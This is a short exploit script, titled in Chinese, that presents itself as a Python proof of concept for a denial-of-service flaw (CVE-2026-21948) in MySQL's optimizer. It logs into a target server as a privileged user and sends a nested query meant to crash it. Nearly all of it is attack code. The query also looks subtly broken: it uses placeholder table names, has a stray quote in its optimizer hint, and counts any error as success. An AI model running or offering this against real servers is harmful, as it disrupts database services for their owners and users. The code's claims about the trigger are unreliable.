CVE-2026-21948 MySQL Server Optimizer组件拒绝服务漏洞

import mysql.connector # CVE-2026-21948 PoC - MySQL Optimizer DoS # Requires high privileged user with network access def exploit_cve_2026_21948(host, user, password, database='mysql'): """ Proof of Concept for CVE-2026-21948 This PoC triggers a denial of service condition in MySQL Optimizer component. """ try: # Connect to MySQL server conn = mysql.connector.connect( host=host, user=user, password=password, database=database, autocommit=True ) cursor = conn.cursor() # Malicious query targeting Optimizer component # This query pattern triggers the vulnerability malicious_query = """ SELECT t1.id FROM ( SELECT id, @row:=@row+1 as rn FROM some_table, (SELECT @row:=0) r WHERE id IN ( SELECT id FROM ( SELECT id, COUNT(*) OVER (PARTITION BY id) as cnt FROM large_table ORDER BY id ) sub1 WHERE cnt > 1 ) ) t1 JOIN ( SELECT id, ROW_NUMBER() OVER (ORDER BY id) as row_num FROM another_table ) t2 ON t1.rn = t2.row_num WHERE t1.id IN ( SELECT /*+ SET_VAR(optimizer_switch='condition_fanout_filter=off,materialization=off')" */ id FROM some_table ); """ print(f"[*] Executing malicious query to trigger CVE-2026-21948...") cursor.execute(malicious_query) print("[!] Query executed - checking server status...") cursor.execute("SELECT 1") except mysql.connector.Error as e: print(f"[+] Exploit likely successful - Server error: {e}") return True except Exception as e: print(f"[*] Unexpected error: {e}") return False finally: if 'conn' in locals(): conn.close() if __name__ == "__main__": # Configuration TARGET_HOST = "target_mysql_server" TARGET_USER = "high_priv_user" TARGET_PASS = "password" exploit_cve_2026_21948(TARGET_HOST, TARGET_USER, TARGET_PASS)